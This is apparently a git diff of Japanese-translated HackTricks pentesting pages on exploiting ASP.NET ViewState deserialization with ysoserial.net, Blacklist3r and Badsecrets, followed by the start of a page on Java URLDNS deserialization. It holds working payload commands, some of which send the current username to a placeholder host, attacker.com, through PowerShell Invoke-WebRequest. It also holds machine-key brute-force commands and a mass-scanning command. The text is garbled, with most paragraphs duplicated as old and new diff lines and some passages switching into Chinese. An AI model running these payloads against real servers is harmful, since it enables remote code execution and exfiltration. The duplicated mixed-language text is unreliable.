また、`AspNetEnforceViewStateMac`レジストリキーをゼロに設定することで、ViewStateMACを完全に無効にすることも可能です。
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**ViewState属性の特定**
|
||||
|
||||
BurpSuiteを使用してこのパラメータを含むリクエストをキャプチャすることで、ViewStateがMACで保護されているかどうかを特定することができます:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
|
||||
|
||||
パラメータがMACで保護されていない場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してそれを悪用することができます。
|
||||
BurpSuiteを使用してこのパラメータを含むリクエストをキャプチャし、ViewStateがMACで保護されているかどうかを特定できます。MACが使用されていない場合は、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)を使用してそれを悪用することができます。
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### テストケース 1.5 – テストケース 1と同じですが、ViewStateクッキーはサーバーから送信されません
|
||||
### テストケース 1.5 – テストケース 1と同様だが、サーバーからViewStateクッキーが送信されない
|
||||
|
||||
開発者は、ViewStateをHTTPリクエストの一部にならないようにすることができます(ユーザーはこのクッキーを受け取りません)。\
|
||||
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると仮定するかもしれません。\
|
||||
しかし、それは事実ではありません。リクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアル化ペイロードを送信すると、**ケース1**で示されているように、**コード実行**を達成することができます。
|
||||
|
||||
開発者は、HTTPリクエストの一部として**ViewState**を削除することができます(ユーザーはこのクッキーを受け取りません)。\
|
||||
**ViewState**が**存在しない**場合、ViewStateの逆シリアル化に伴う潜在的な脆弱性から実装が**安全**であると考えるかもしれません。\
|
||||
しかし、それは違います。リクエストボディに**ViewStateパラメーター**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すると、**ケース 1**で示されたように**コード実行**を達成することができます。
|
||||
|
||||
### テストケース: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
**特定のページ**で**ViewState MAC**を**有効**にするためには、特定のaspxファイルで以下の変更を行う必要があります:
|
||||
特定のページでViewState MACを有効にするには、特定のaspxファイルで以下の変更を行う必要があります:
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
アプリケーション全体に対しても、以下に示すように **web.config** ファイルで設定することができます:
|
||||
```markup
|
||||
**web.config** ファイルに以下に示すように設定することで、**全体的な**アプリケーションに対しても行うことができます。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
<system.web>
|
||||
|
@ -75,94 +84,76 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
|||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
パラメータがMACで保護されているため、攻撃を成功させるにはまず使用されているキーが必要です。この場合、BurpSuiteがパラメータがMACで保護されていることを教えてくれます:
|
||||
攻撃を成功させるためには、まず使用されているキーを取得する必要があります。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
|
||||
|
||||
使用されているキーを見つけるために、[**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を試してみることができます。
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して、使用されているキーを見つけることができます。
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
|
||||
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
```markdown
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)は、既知のmachineKeysを特定できる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsへの依存性がありません。.NETのviewstatesには、「python blacklist3r」というユーティリティがあり、それが最も迅速な使用方法です。
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は既知の machineKeys を識別できる別のツールです。Python で書かれているため、Blacklist3r とは異なり、Windows に依存しません。.NET viewstates には、「python blacklist3r」というユーティリティがあり、これを使用する最も速い方法です。
|
||||
|
||||
viewstate と generator を直接指定することもできます:
|
||||
```
|
||||
ビューステートとジェネレータを直接指定することもできます:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||||
```
|
||||
```markdown
|
||||
![](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
|
||||
|
||||
または、直接ターゲットURLに接続し、HTMLからviewstateを切り取ろうとすることもできます:
|
||||
```
|
||||
または、対象のURLに直接接続し、HTMLからviewstateを取り出そうとすることができます。
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||||
```
|
||||
```markdown
|
||||
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
|
||||
|
||||
大規模に脆弱なviewstatesを探すために、サブドメイン列挙と併用して、`badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md)モジュールを使用できます:
|
||||
```
|
||||
大規模で脆弱なviewstatesを検索するために、サブドメインの列挙と組み合わせて、`badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) モジュールを使用できます:
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
```markdown
|
||||
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
|
||||
|
||||
もし運が良くて鍵が見つかったら、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** を使って攻撃を進めることができます。
|
||||
```
|
||||
運が良ければ、キーが見つかった場合は、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
サーバーから `_VIEWSTATEGENERATOR` パラメーターが**送信されない**場合、`--generator` パラメーターを**提供する必要はありませんが、これらは必要です**:
|
||||
以下の場合、サーバーから `_VIEWSTATEGENERATOR` パラメーターが送信されない場合、`--generator` パラメーターを指定する必要はありませんが、次のパラメーターが必要です:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### テストケース:3 - .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
|
||||
### テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
|
||||
|
||||
このケースでは、BurpはパラメータがMACで保護されているかどうかを認識できません。したがって、値はおそらく暗号化されており、脆弱性を悪用するためには**Machine Keyが必要です**。
|
||||
この場合、パラメータがMACで保護されているかどうかはわかりません。そのため、値はおそらく暗号化されており、脆弱性を悪用するために**マシンキーが必要**です。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
|
||||
**この場合、**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)**モジュールが開発中です...**
|
||||
|
||||
**この場合、**[**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)**モジュールは開発中です...**
|
||||
**.NET 4.5より前**、ASP.NETは、**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの\_`__VIEWSTATE`\_パラメータを**暗号化されていない**状態で**受け入れる**ことができます。ASP.NETは、リクエスト内の**`__VIEWSTATEENCRYPTED`**パラメータの**存在のみを確認**します。**このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。**
|
||||
|
||||
**.NET 4.5より前では**、ASP.NETは**`ViewStateEncryptionMode`**が_**Always**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れる**ことができます。ASP.NETはリクエスト内の**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**チェックします**。このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。
|
||||
したがって、攻撃者がファイルトラバーサルなどの他の脆弱性を介してマシンキーを取得する方法を見つけた場合、**Case 2**で使用される[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewState逆シリアル化の脆弱性を利用してRCEを実行することができます。
|
||||
|
||||
したがって、Machinekeyが既知である場合(例えば、ディレクトリトラバーサルの問題を通じて)、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateの逆シリアライズの脆弱性を利用したRCEを実行できます。
|
||||
* ViewState逆シリアル化の脆弱性を悪用するには、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、脆弱性を悪用できません。
|
||||
|
||||
* ViewStateの逆シリアライズの脆弱性を悪用するためには、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除します。そうでなければ、Viewstate MAC検証エラーが返され、図に示すように悪用が失敗します:
|
||||
### テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性がfalseに設定されている場合
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
|
||||
|
||||
### テストケース:4 - .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性がfalseの場合を除く
|
||||
|
||||
以下のパラメータをweb.configファイル内に指定することで、ASP.NETフレームワークの使用を強制できます。下記のように示されています。
|
||||
```markup
|
||||
以下に示すように、web.configファイル内で以下のパラメータを指定することで、ASP.NETフレームワークの使用を強制できます。
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
この操作は、web.configファイルの`machineKey`パラメータ内で以下のオプションを指定することによっても実行できます。
|
||||
代わりに、これはweb.configファイルの`machineKey`パラメータ内に以下のオプションを指定することで行うことができます。
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
前のケースと同様に、Burpは**値が暗号化されている**ため、リクエストがMAC保護されているかどうかを識別しません。したがって、**有効なペイロードを送信するためには、攻撃者はキーが必要です**。
|
||||
前述のように、**値は暗号化されています。** そのため、**有効なペイロードを送信するには、攻撃者が鍵が必要です。**
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
|
||||
|
||||
使用されているキーを見つけるために、[**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を試してみることができます:
|
||||
[**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)を使用して、使用されている鍵を見つけることができます。
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
|
@ -170,45 +161,38 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
|||
--IISDirPath = {Directory path of website in IIS}
|
||||
--TargetPagePath = {Target page path in application}
|
||||
```
|
||||
IISDirPathおよびTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
[IISDirPathとTargetPagePathの詳細な説明はこちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
|
||||
|
||||
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)を使用して(generator値付きで):
|
||||
```
|
||||
または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレータ値付き):
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
```
|
||||
```markdown
|
||||
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||||
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
|
||||
|
||||
有効なMachine keyが特定されたら、**次のステップは** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **を使用してシリアライズされたペイロードを生成することです**
|
||||
```
|
||||
有効なマシンキーが特定されたら、**次のステップは[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)を使用してシリアル化ペイロードを生成することです**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
`__VIEWSTATEGENERATOR` の値がある場合、その値を `--generator` パラメータとして **使用** し、`--path` と `--apppath` パラメータを **省略** することができます。
|
||||
`__VIEWSTATEGENERATOR`の値を持っている場合、その値を使用して`--generator`パラメータを試すことができ、パラメータ`--path`と`--apppath`を省略することができます。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
|
||||
|
||||
ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、攻撃者が制御するサーバーは、ユーザー名を含むバンド外のリクエストを受信します。[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
|
||||
ViewState逆シリアル化の脆弱性を成功裏に悪用すると、攻撃者が制御するサーバーに対してアウト・オブ・バンド・リクエストが送信され、その中にはユーザー名が含まれます。この種の脆弱性を悪用する例は、"Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET"というリソースを通じて示されています。悪用プロセスの詳細やBlacklist3rなどのツールを使用してMachineKeyを特定する方法については、提供された[悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を参照してください。
|
||||
|
||||
|
||||
### テストケース6 – ViewStateUserKeysが使用されている
|
||||
|
||||
**ViewStateUserKey** プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されており、今まで議論した方法で **ViewState** ペイロードを生成しようとすると、**アプリケーションによってペイロードは処理されません**。\
|
||||
正しくペイロードを作成するためには、もう一つのパラメータを使用する必要があります:
|
||||
**ViewStateUserKey**プロパティは**CSRF攻撃**に対抗するために使用できます。アプリケーションでこのようなキーが定義されており、今までに議論された方法で**ViewState**ペイロードを生成しようとすると、**アプリケーションによってペイロードが処理されなくなります**。\
|
||||
正しくペイロードを作成するためには、さらに1つのパラメータを使用する必要があります:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### 成功した攻撃の結果 <a href="#poc" id="poc"></a>
|
||||
|
||||
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**すると、サーバーは "**500 Internal server error**" と応答し、応答内容に "**このページの状態情報は無効であり、破損している可能性があります**" と表示され、以下の図に示すように OOB リクエストが得られます:
|
||||
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」という応答を返し、「**The state information is invalid for this page and might be corrupted**」という応答コンテンツが表示され、OOBリクエストを取得します。
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
現在のユーザー名を含むバンド外リクエスト
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
|
||||
詳細は[こちら]([**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/))をご確認ください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -217,22 +201,22 @@ ViewStateの逆シリアル化の脆弱性が成功裏に悪用されると、
|
|||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
**ハッキングのキャリア**に興味があり、ハッキングできないものをハックしたい方 - **採用情報はこちら!** (_流暢なポーランド語の読み書きが必要です_).
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWS ハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksに広告を掲載したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や [**テレグラムグループ**](https://t.me/peass)に**参加する**、または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をご確認ください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**したりしてください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,31 +1,29 @@
|
|||
# Java DNS Deserialization、GadgetProbe、Java Deserialization Scanner
|
||||
|
||||
## Java DNS Deserialization、GadgetProbe、Java Deserialization Scanner
|
||||
# Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## deserialization時のDNSリクエスト
|
||||
## シリアル化されたDNSリクエスト
|
||||
|
||||
クラス`java.net.URL`は`Serializable`を実装しています。これは、このクラスがシリアライズ可能であることを意味します。
|
||||
`java.net.URL`クラスは`Serializable`を実装しており、このクラスはシリアル化できることを意味します。
|
||||
```java
|
||||
public final class URL implements java.io.Serializable {
|
||||
```
|
||||
このクラスには**興味深い振る舞い**があります。ドキュメントからの引用です:「**ホスト名が同じIPアドレスに解決できる場合、2つのホストは同等とみなされます**」。\
|
||||
そのため、URLオブジェクトが**いずれかの** **`equals`** 関数または **`hashCode`** 関数を呼び出すたびに、IPアドレスを取得するための**DNSリクエスト**が**送信**されます。
|
||||
このクラスには**興味深い挙動**があります。ドキュメントによると、「**2つのホストが同等と見なされる条件は、両方のホスト名が同じIPアドレスに解決される場合**」です。\
|
||||
そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれかの関数を呼び出すたびに**、IPアドレスを取得するための**DNSリクエスト**が**送信**されます。
|
||||
|
||||
URLオブジェクトから**`hashCode`** 関数を**呼び出す**ことは非常に簡単で、これを逆シリアライズされる `HashMap` に挿入するだけで十分です。これは、`HashMap` の **`readObject`** 関数の**最後に**以下のコードが実行されるためです:
|
||||
URLオブジェクトから**`hashCode`**関数を**呼び出す**のは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`内に挿入すれば十分です。これは、`HashMap`の**`readObject`**関数の最後にこのコードが実行されるためです:
|
||||
```java
|
||||
private void readObject(java.io.ObjectInputStream s)
|
||||
throws IOException, ClassNotFoundException {
|
||||
|
@ -35,18 +33,16 @@ for (int i = 0; i < mappings; i++) {
|
|||
putVal(hash(key), key, value, false, false);
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
これは `HashMap` 内のすべての値に対して `putVal` を**実行**します。しかし、より重要なのは、すべての値に対して `hash` を呼び出すことです。これが `hash` 関数のコードです:
|
||||
```
|
||||
それは`HashMap`内のすべての値で`putVal`を**実行**します。しかし、さらに重要なのは、各値で`hash`を呼び出すことです。これが`hash`関数のコードです:
|
||||
```java
|
||||
static final int hash(Object key) {
|
||||
int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
観察できるように、**`HashMap`** を**デシリアライズする際**には、`hash` 関数が**すべてのオブジェクトで実行される**ことになります。そして、**`hash`** の実行**中に**、オブジェクトの `.hashCode()` が**実行されます**。したがって、**`HashMap`** に**URL** オブジェクトを**含む**データを**デシリアライズする**と、**URL オブジェクト**は `.hashCode()` を**実行する**ことになります。
|
||||
如何观察,**在对`HashMap`进行反序列化**时,函数`hash`将会**对每个对象执行**,并且在**`hash`**执行期间**将执行对象的`.hashCode()`**。因此,如果您**反序列化**一个**包含**URL对象的**`HashMap`**,那么**URL对象**将会**执行**`.hashCode()`。
|
||||
|
||||
それでは、`URLObject.hashCode()` のコードを見てみましょう:
|
||||
现在,让我们看一下`URLObject.hashCode()`的代码:
|
||||
```java
|
||||
public synchronized int hashCode() {
|
||||
if (hashCode != -1)
|
||||
|
@ -55,9 +51,7 @@ return hashCode;
|
|||
hashCode = handler.hashCode(this);
|
||||
return hashCode;
|
||||
```
|
||||
```markdown
|
||||
ご覧の通り、`URLObject`が`.hashCode()`を実行すると、`hashCode(this)`が呼び出されます。続いて、この関数のコードを見ていきましょう:
|
||||
```
|
||||
如何見到,當一個`URLObject`執行`.hashCode()`時,它被稱為`hashCode(this)`。接下來你可以看到這個函數的代碼:
|
||||
```java
|
||||
protected int hashCode(URL u) {
|
||||
int h = 0;
|
||||
|
@ -71,13 +65,13 @@ h += protocol.hashCode();
|
|||
InetAddress addr = getHostAddress(u);
|
||||
[ ... ]
|
||||
```
|
||||
ドメインに対して`getHostAddress`が実行され、**DNSクエリが発生**します。
|
||||
ある`getHostAddress`がドメインに対して実行され、**DNSクエリが発行**されることがわかります。
|
||||
|
||||
したがって、このクラスは**悪用**されて、**DNSクエリを発生**させ、**デシリアライゼーション**が可能であることを**示す**ため、または情報を**抽出する**ために使用することができます(コマンド実行の出力をサブドメインとして追加できます)。
|
||||
したがって、このクラスは**悪用**され、**DNSクエリを発行**して**逆シリアル化**が可能であることを**デモンストレーション**するために使用されるか、情報を**外部に持ち出す**ためにも利用できます(コマンド実行の出力をサブドメインに追加することができます)。
|
||||
|
||||
### URLDNSペイロードコード例
|
||||
### URLDNS ペイロードのコード例
|
||||
|
||||
